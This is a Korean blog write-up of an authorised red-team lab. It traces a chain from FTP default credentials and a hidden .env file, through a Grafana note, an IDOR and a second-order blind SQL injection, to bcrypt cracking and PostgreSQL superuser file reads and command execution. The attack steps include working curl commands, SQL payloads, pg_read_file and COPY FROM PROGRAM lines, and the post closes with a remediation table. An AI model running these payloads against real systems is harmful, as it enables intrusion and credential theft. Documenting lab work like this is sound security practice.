CJ 레드팀 랩 모의해킹 (1)
- 01CJ 레드팀 랩 모의해킹 (1)
- 02CJ 레드팀 랩 모의해킹 (2)
- 03CJ 레드팀 랩 모의해킹 (3)
- 04CJ 레드팀 랩 모의해킹 (4)
- 05CJ 레드팀 랩 모의해킹 (5)
본 글은 강사가 제공한 인가된 실습 환경에서 진행한 내용을 정리한 것이다. 등장하는 계정은 실습용으로 발급된 1회성 자격증명이며 실습 종료와 함께 폐기됐다. 공인 IP만 마스킹했다.
이번 실습은 지금까지 한 모의해킹과 조건이 달랐다. 주어진 것이 IP 하나와 “가장 깊숙한 곳에 다음 서버로 가는 주소가 있다”는 한 줄이 전부였다. 웹 사이트 주소도, 계정도, 힌트도 없었다.
그래서 이 글은 취약점 하나를 깊게 파는 글이 아니라, 단서 하나가 다음 단서를 흘리는 연쇄를 따라간 기록이다. 각 단계에서 얻은 것이 그 자체로는 대단치 않은데, 다음 문을 여는 열쇠가 된다.
[21/FTP] ftp:ftp → 리스팅에 없는 .env → 이중 base64 → Grafana 계정
│
[8081] robots.txt → /grafana/ → 대시보드 메모 → /ops-status/
│
[IDOR] 링크되지 않은 리포트 #62 → /admin/last-login-sort 노출
│
[SQLi] 로그인 username → ORDER BY 주입 (2차·블라인드)
│
└──→ PostgreSQL SUPERUSER → 임의 파일 읽기 → OS 명령 실행
0. 정찰 — 포트부터 전부 연다
AWS는 ICMP를 기본 차단하므로 -Pn을 붙인다.
nmap -Pn -T4 -p- -sV <LAB_IP>
PORT STATE SERVICE VERSION
21/tcp open ftp?
8081/tcp open http nginx 1.27.5
65535개 중 열린 것은 두 개뿐이었다. 나머지는 전부 filtered로, 보안그룹이 화이트리스트 방식으로 잠겨 있다는 뜻이다.

여기서 한 가지를 정해두고 시작했다. 눈에 띄는 건 웹(8081)이지만 웹부터 파지 않는다. 열린 포트를 전부 열거하고 각각의 성격을 먼저 본다. 결과적으로 이 판단이 맞았다 — 실제 진입점은 웹이 아니라 FTP였다.
FTP 배너를 확인해보면 기본 문구가 아니다.
curl -v -m 8 --user anonymous:anonymous ftp://<LAB_IP>/
< 220 CJ internal file transfer
> USER anonymous
< 530 Anonymous access not allowed.
배너를 커스텀했다는 건 누군가 설정을 만졌다는 뜻이고, 익명 접근을 명시적으로 막았다는 건 계정이 따로 있다는 뜻이다.
1. FTP — 리스팅에 없는 파일
익명이 막혔으니 흔한 조합부터 시도했다.
for c in ftp:ftp cj:cj admin:admin guest:guest root:root; do
code=$(curl -s -o /dev/null -w "%{http_code}" -m 6 --user "$c" ftp://<LAB_IP>/)
echo "$c -> $code"
done
ftp:ftp -> 226 ← 성공
사용자명과 같은 비밀번호였다. 로그인 후 루트를 나열하면 텍스트 파일 세 개가 보인다.
-rw-r--r-- 1 root root 108 backup-policy.txt
-rw-r--r-- 1 root root 24 maintenance-log.txt
-rw-r--r-- 1 root root 24 readme.txt
두 개는 내용이 없다시피 했다(시스템 점검 완료, 인증서 갱신 완료). 그런데 backup-policy.txt 가 결정적인 걸 흘린다.
백업은 암호화 후 보관
자격증명 파일: .env (정기 로테이션 예정, 수동 정리 필요)
리스팅에 없는데 어떻게 받나
.env 를 지목하는데 정작 목록에는 없다. . 으로 시작하는 파일은 FTP의 LIST·MLSD 응답에서 숨겨지기 때문이다.
여기서 중요한 건 리스팅은 서버가 보여주기로 한 목록일 뿐이라는 점이다. 파일이 없다는 증명이 아니다. 이름을 알면 경로를 직접 지정해 RETR 하면 된다.
curl -s --user ftp:ftp ftp://<LAB_IP>/.env
UjNKaFptRnVZU0J2Y0hNZ2RtbGxkMlZ5SUdGalkyOTFiblFnS0hSbGJYQnZjbUZ5ZVN3...
base64로 보여서 디코딩했더니 또 base64였다. 한 번 더 돌렸다.
curl -s --user ftp:ftp ftp://<LAB_IP>/.env | base64 -d | base64 -d
Grafana ops viewer account (temporary, rotate ASAP):
username: ops-viewer
password: N0vaOps2024!
두 번 인코딩한 것을 두고 “암호화했다”고 부르는 경우가 있는데, base64는 인코딩이지 암호화가 아니다. 키가 없고 누구나 되돌릴 수 있다. 몇 번을 겹쳐도 평문 자격증명으로 취급해야 한다.

2. robots.txt 가 흘린 경로
8081을 열면 준비중 페이지만 나온다. robots.txt 는 관례상 항상 웹 루트에 있으므로 여기부터 확인했다.
curl -s http://<LAB_IP>:8081/robots.txt
# TODO(ops): 그라파나 모니터링 데모 인스턴스 정식 프록시 라우팅 미완성,
# 배포 자동화 전까지 /grafana/ 경로로 임시 프록시 중 - 오픈 전 반드시 정리
robots.txt 는 크롤러에게 “여기는 긁지 말라”고 알려주는 파일인데, 그 목록이 숨기고 싶은 경로의 목록이 되곤 한다. 여기서는 아예 운영자 메모가 그대로 남아 있었다.
grafana 는 일반적인 디렉터리 워드리스트에 잘 들어 있지 않다. 무차별 탐색만 했다면 못 찾았을 경로다.
Grafana 대시보드의 텍스트 패널
앞서 FTP에서 얻은 계정으로 이 임시 프록시에 로그인했다. 권한은 Viewer였다.

Grafana에서 볼 곳은 그래프가 아니라 텍스트·마크다운 패널이다. 운영자가 링크와 메모를 남겨두는 자리이기 때문이다. API로 덤프해서 확인했다.
curl -s -b jar "http://<LAB_IP>:8081/grafana/api/search?type=dash-db"
# uid: internal-ops-001
curl -s -b jar "http://<LAB_IP>:8081/grafana/api/dashboards/uid/internal-ops-001"
Notice 패널의 본문에 내부 경로가 그대로 박혀 있었다.
<p><strong>운영 메모</strong></p>
<p>실시간 지표는 이 대시보드 대신 경량 상태 페이지에서 확인하세요:
<a href="http://localhost:8081/ops-status/">내부 운영 상태 페이지 바로가기</a></p>
<p>문의는 #ops-alerts 채널로.</p>
같은 응답에 canSave: false, canEdit: false, canAdmin: false 도 함께 들어 있어 Viewer 권한임이 확인됐다. 읽기 권한만으로도 다음 경로를 얻었다는 게 이 단계의 요점이다.

3. 링크되지 않은 리포트 — IDOR
/ops-status/ 는 Flask로 만든 별도 앱이었다. 리포트 목록을 링크하는데, 링크된 것만 보면 안 된다. 리포트 주소가 /reports/{정수} 형태의 순차 ID였기 때문이다.
for i in $(seq 1 70); do
t=$(curl -s "http://<LAB_IP>:8081/ops-status/reports/$i" | grep -oP '(?<=<title>)[^<]+')
[ -n "$t" ] && echo "$i: $t"
done
14: Weekly Ops Summary
33: Incident Postmortem #204
61: Deployment Notes
62: Service Account Audit (internal) ← 목록에 링크 없음
62번은 어디에서도 링크되지 않은 리포트였다. 열어보니 다음 공격면을 그대로 알려준다.
An internal service account's password is flagged for rotation.
All login attempts are logged for audit purposes -- the service list can be
re-sorted by the most recent login attempt via /admin/last-login-sort
(no auth required, internal tool).
이것이 IDOR(Insecure Direct Object Reference)이다. 객체를 순차 정수로 식별하면서 접근 권한을 검사하지 않으면, 화면에 링크가 없어도 주소만 알면 열린다. 그리고 링크되지 않은 객체가 가장 민감한 경우가 많다. 링크를 안 걸어둔 이유가 보통 “내부용”이기 때문이다.
4. 2차 블라인드 SQL 인젝션
이번 실습에서 가장 재미있었던 부분이다.
2차 주입이란
보통의 SQL 인젝션은 내가 보낸 요청이 그 요청 안에서 쿼리에 들어간다. 그런데 /admin/last-login-sort 는 이렇게 동작한다.
① POST /ops-status/login (username = 페이로드) → DB의 로그인 기록에 저장
② GET /ops-status/admin/last-login-sort → 저장된 username 을 ORDER BY 에 넣어 실행
주입 지점은 로그인 폼의 username 필드이고, 실행 시점은 다른 요청이다. 저장됐다가 나중에 다른 쿼리에서 실행되는 이런 형태를 2차(second-order) 주입이라고 한다.
로그인 자체는 실패해도 상관없다. 실패한 시도도 감사 목적으로 기록되기 때문이다. 리포트 62의 “All login attempts are logged” 가 그 뜻이었다.
그리고 ORDER BY 는 컬럼 이름이 들어가는 자리라 따옴표로 감싸지지 않는다. 파라미터 바인딩으로 막기 어려운 자리이기도 하다.
참/거짓 오라클 만들기
응답에 데이터가 실려 나오지 않으니 블라인드다. 참과 거짓을 가를 신호가 필요했다.
정상적인 정렬 기준이 들어가면 성공 메시지가, 잘못된 것이 들어가면 에러 메시지가 나온다는 점을 이용했다. 조건이 참이면 ORDER BY 1 이 되고, 거짓이면 여러 행을 돌려주는 서브쿼리가 들어가 에러가 난다.
-- 조건 자리만 1=1 / 1=2 로 바꿔 넣는다
(SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END)-- -


응답이 갈린다는 것은 서버가 내 조건을 실제로 평가했다는 뜻이다. 조건 자리만 바꿔가며 예/아니오 질문을 반복하면 어떤 값이든 복원할 수 있다.
# ① 페이로드를 저장
curl -s -X POST http://<LAB_IP>:8081/ops-status/login \
-d 'username=(SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END)-- -&password=x'
# ② 실행시키고 응답을 읽는다
curl -s http://<LAB_IP>:8081/ops-status/admin/last-login-sort | grep -o 're-sorted\|Error sorting'
공백이 필터링되는 자리에서는 /**/ 로 대체했다.
이 오라클은 전역 상태를 읽는다
여기서 한참을 헤맸고, 원인을 처음에 잘못 짚었다. 이 글에서 가장 남기고 싶은 부분이다.
추출을 자동화해서 돌렸더니 같은 조건을 물어도 답이 들쭉날쭉했다. 문자를 복원하면 postgres 가 나와야 할 자리에 Xi/Ej 같은 게 나오고, svc-monitor 가 sYc-monitWr 로 나왔다.
처음에는 레이스 컨디션이라고 판단했다. 오라클이 “가장 최근 로그인”이라는 전역 값을 읽으니, 다른 트래픽이 끼어들면 내 페이로드가 최근이 아니게 된다고 본 것이다. 그래서 요청 간격을 벌리고(페이싱), 같은 질문을 여러 번 던져 다수결로 판정했다.
그런데 고쳐지지 않았다. 간격을 0.3초, 0.5초, 0.8초로 바꿔봐도 결과가 다 “신뢰할 만함”으로 나오는데 실제 추출은 계속 깨졌다.
진짜 원인은 따로 있었다. 죽인 줄 알았던 병렬 워커가 계속 로그인 요청을 보내고 있었다. 다른사람이 끼어든 게 아니라 내 다른 프로세스가 끼어들고 있었던 것이다.
워커1: POST login(페이로드 A)
워커2: POST login(페이로드 B) ← A를 덮어씀
워커1: GET sort ← B의 결과를 A의 답으로 읽음
이건 페이싱으로 못 고친다. 간격을 벌리면 충돌 확률만 줄어들 뿐 구조가 그대로다. 프로세스를 하나로 줄이고 직렬로 돌리자 간격 없이도 100% 일관되게 나왔다.
정리하면 이렇다.
- 이 오라클은 요청 두 개가 전역 가변 상태를 통해 이어져 있다
- 그래서 동시에 여러 흐름이 돌면 서로의 답을 잘못 읽는다
- 해결은 페이싱이 아니라 직렬화다
- 그리고 백그라운드로 띄운 프로세스는 종료를 확인해야 한다. 죽었다고 가정하면 안 된다
kill %1 2>/dev/null; wait 2>/dev/null
pgrep -f 'sqli.py' || echo "잔여 프로세스 없음 — 추출 시작 가능"
진단이 한 번 틀렸다는 것 자체가 기록할 가치가 있다고 생각한다. 처음 세운 가설(레이스)이 현상을 설명하는 것처럼 보였고, 그래서 엉뚱한 처방을 며칠 붙들고 있었다.
DB 지문
조건 자리에 엔진별 표현식을 넣어 무엇인지 특정했다.
(SELECT version()) LIKE '%PostgreSQL%' → 참 ⇒ PostgreSQL
sqlite_version() → 에러 ⇒ SQLite 아님
@@version → 에러 ⇒ MySQL 아님
자격증명 추출과 음성 대조군
블라인드 추출을 자동화하되, “항상 참”이 나오는 게 아니라 실제 값을 읽고 있음을 먼저 증명해야 한다. 그래서 참이 나올 조건과 거짓이 나올 조건을 짝지어 확인했다.
-- accounts 테이블이 있나 → 참
(SELECT CASE WHEN (SELECT count(*) FROM pg_tables
WHERE schemaname='public' AND tablename='accounts')=1 THEN 1 ELSE (SELECT 1 UNION SELECT 2) END)-- -
-- 첫 계정명이 svc-monitor 인가 → 참
-- 음성 대조군으로 ='admin' 을 넣으면 거짓 ⇒ 실제 저장값을 읽고 있다는 증거
(SELECT CASE WHEN (SELECT username FROM accounts LIMIT 1)='svc-monitor' THEN 1 ELSE ... END)-- -
-- 해시가 $2b$04$ 로 시작하나 → 참
(SELECT CASE WHEN (SELECT password_hash FROM accounts LIMIT 1) LIKE '$2b$04$%' THEN 1 ELSE ... END)-- -
이렇게 뽑아낸 해시는 이것이었다.
svc-monitor : $2b$04$fT95jmIGNIWErALzeMb77e6gRoBHAThVUv1B9Ojucryl.h7aCAWze
$2b$04$ 는 bcrypt에 cost=4 라는 뜻이다. bcrypt의 cost는 해시 한 번에 드는 연산량을 정하는 값으로, 보통 10~12를 쓴다. cost가 1 오를 때마다 연산량이 두 배가 되니, 4는 권장값보다 수백 배 빠르게 대입할 수 있다. 해시를 저장했다는 사실만으로는 안전하지 않고, cost가 곧 방어력이다.
echo '$2b$04$fT95jmIGNIWErALzeMb77e6gRoBHAThVUv1B9Ojucryl.h7aCAWze' > hash.txt
hashcat -m 3200 hash.txt rockyou.txt
rockyou 사전 안에 있는 단어였고 금방 나왔다.
svc-monitor : novise
이 계정이 다음 글에서 SSRF의 열쇠가 된다. 리포트 62가 “비밀번호 로테이션 대상” 이라고 알려준 그 서비스 계정이다.

다음 홉은 데이터가 아니라 함수에 있었다
“다음 서버 IP”를 찾으라는 미션이라 처음에는 테이블을 뒤졌다. services 테이블 전체를 블라인드로 덤프했는데 825번의 요청을 쓰고 얻은 것은 서비스 이름 세 개와 설명 문구뿐이었다. 주소는 없었다.
주소는 데이터가 아니라 DB 엔진 자신이 갖고 있었다.
-- 이 계정이 슈퍼유저인가 → 참
(SELECT CASE WHEN (SELECT usesuper FROM pg_user WHERE usename=current_user) THEN 1 ELSE ... END)-- -
-- 접속을 받은 서버 주소가 172.19 대역인가 → 참
(SELECT CASE WHEN host(inet_server_addr()) LIKE '172.19.%' THEN 1 ELSE ... END)-- -
inet_server_addr() 는 DB 서버 자신의 주소를, inet_client_addr() 는 접속해 온 쪽의 주소를 돌려준다. 이 둘만으로 웹앱 컨테이너와 DB 컨테이너가 어느 대역에 있는지 그려진다. 컨테이너 구성이라 사설 대역이었다.
블라인드로 문자열을 뽑는 건 문자 하나에 아홉 번쯤 질문해야 한다. 그래서 “전부 덤프한 뒤 고르기”는 최악의 순서다. 무엇을 찾을지 먼저 정하고 조건으로 좁히는 것이 훨씬 싸다. 825요청을 쓰고 배운 것이다.
5. 슈퍼유저 — 파일 읽기에서 명령 실행까지
애플리케이션이 쓰는 DB 계정이 SUPERUSER 였다. PostgreSQL에서 이건 단순히 모든 테이블을 본다는 뜻이 아니다.
pg_read_file('/etc/passwd') -- 서버 파일시스템 읽기
COPY t FROM PROGRAM 'command' -- OS 명령 실행
COPY FROM PROGRAM
COPY ... FROM PROGRAM 은 원래 “외부 명령의 출력을 테이블로 읽어들이는” 정상 기능이다. 슈퍼유저 전용이라 권한만 있으면 그대로 명령 실행 수단이 된다.
문제는 블라인드라 출력이 안 보인다는 것이었다. 그래서 출력 없이 실행 자체를 먼저 증명했다. 시간을 재는 방법이다.
COPY PROGRAM 'sleep 5' 실행 → 응답 5.12초
명령이 실행되지 않았다면 지연이 없다. 5초 이상 걸렸다는 것 자체가 실행의 증거다.
출력 회수
그다음은 결과를 가져오는 문제였다. 명령의 출력을 서버 파일로 떨어뜨리고, 아까의 파일 읽기로 되읽는 방식을 썼다.
sh -c 'id' > /tmp/out
# → pg_read_file 로 /tmp/out 을 블라인드 추출
uid=70(postgres) gid=70(postgres) groups=70(postgres)
Linux <HOSTNAME> 6.x.x-amzn2023.x86_64 x86_64
실행 주체는 postgres 사용자였고 컨테이너 안이었다. 호스트 root는 아니다. 그래도 DB 컨테이너에서 임의 명령을 실행할 수 있다는 건 큰 진전이었다.
여기서 한 가지 함정을 만났다. 출력 파일 경로를 /tmp/out 으로 고정해 재사용했더니, 작업이 겹칠 때 한쪽이 쓰는 중에 다른 쪽이 읽어 결과가 섞였다. 앞서 오라클을 직렬화해도 이건 안 막힌다. 파일은 오라클 바깥의 상태이기 때문이다. 작업마다 고유한 경로를 쓰는 것으로 해결했다.
sh -c 'id' > /tmp/out.$$_$(date +%s%N)
6. 여기서 막힌 것
이 시점의 도달 지점은 PostgreSQL SUPERUSER + DB 컨테이너 명령 실행이었다. 그런데 다음 서버 주소는 아직 못 찾았다.
- 명령 실행은 되지만 블라인드 회수라 한 번에 볼 수 있는 양이 적다
- 내부망에 다른 컨테이너가 있는 건 알지만 DB 컨테이너에서 훑기엔 비용이 컸다
/ops-status/monitor라는 관리자 도구가 있는데 인증이 필요했다
마지막 항목이 실마리였다. 방금 SQLi로 얻은 서비스 계정이 그 문을 여는 열쇠였고, 그 뒤에 SSRF가 있었다. 다음 글에서 이어진다.
조치 권고
| 취약점 | 조치 |
|---|---|
| FTP 기본 자격증명 | 사용자명과 동일한 비밀번호 금지, 로그인 실패 임계값 설정 |
.env 평문 노출 | 자격증명 파일을 공개 디렉터리에 두지 않는다. 리스팅에서 숨기는 것은 통제가 아니다 |
robots.txt 운영 주석 | 경로 정보를 주석으로 남기지 않는다. 접근 통제는 인증으로 한다 |
| 리포트 IDOR | 순차 정수 ID 대신 추측 불가한 식별자, 그리고 객체 단위 권한 검사 |
| 2차 SQL 인젝션 | ORDER BY 는 바인딩이 안 되므로 허용 컬럼 화이트리스트로 처리 |
/admin/last-login-sort 무인증 | 관리 엔드포인트에 인증·인가 적용 |
| DB 계정 SUPERUSER | 애플리케이션 계정은 최소 권한으로. 슈퍼유저는 파일 읽기와 명령 실행까지 열어준다 |
| bcrypt cost=4 | cost를 10 이상으로. 낮은 cost는 해시를 저장 안 한 것과 크게 다르지 않다 |
돌아보며
이 실습에서 가장 크게 남은 건 특정 기법이 아니라 두 가지 태도였다.
하나는 리스팅과 링크를 믿지 않는 것이다. .env 도, 리포트 62번도, 서버가 보여주기로 한 목록에는 없었다. 목록은 존재의 증명이 아니다.
다른 하나는 틀린 진단을 붙들고 있었다는 자각이다. 오라클이 흔들리는 원인을 레이스라고 보고 페이싱과 다수결로 며칠을 썼는데, 실제로는 내가 죽였다고 착각한 프로세스 때문이었다. 현상을 설명하는 것처럼 보이는 가설이 꼭 맞는 가설은 아니다.
남은 질문 — 힌트가 없었다면
프로젝트중에 이런 질문을 받았다.
FTP에 숨겨진
.env를 어떻게 찾았나요?
리눅스에서는 ls -la 를 치면 숨김 파일까지 전부 보인다. 내가 파일시스템을 직접 읽기 때문이다. 그런데 FTP는 다르다. 내가 보는 것은 서버가 만들어서 건네준 목록이고, 거기에 무엇을 넣을지는 서버가 정한다. 이 랩의 서버는 .env 를 그 목록에서 뺐다.
그러면 방법이 하나만 남는다. 이름을 알고 직접 요청하는 것.
내가 이름을 알 수 있었던 건 backup-policy.txt 가 알려줬기 때문이다. 그런데 나중에 들어보니 그건 출제 의도가 아니었다. 그 텍스트 파일이 파일명을 그렇게 대놓고 흘릴 계획은 없었다고 한다.
그래서 질문이 남는다.
힌트가 없었다면 나는 찾았을까. .env, .git, .htpasswd 처럼 흔한 이름을 사전으로 두드려볼 수는 있었을 것이다. 하지만 그건 찾았다기보다 운이 좋았다에 가깝다. 목록에 없는 것을 이름만으로 맞히는 데에는 정해진 절차가 없다. 어디까지 두드려보고 언제 접을지는 결국 판단의 문제다.
AI는 찾았을까. 이쪽이 더 궁금했다. 힌트를 지운 같은 환경에서 AI에게 맡기면 사전 공격을 떠올릴지, 떠올린다면 몇 번 만에 접을지, 아니면 목록에 없으니 없다고 결론지을지.
이 질문이 다음 프로젝트의 출발점이 됐다. 오라클 오진도 같은 자리에 있다 — 현상을 설명하는 것처럼 보이는 가설을 붙들고 시간을 쓴 그 과정이 AI에게는 어떻게 나타나는지 재보고 싶었다.
그래서 같은 랩을 하네스를 바꿔가며 여러 번 다시 풀었다. 그 이야기는 레드팀 하네스 만들기에 따로 적었다.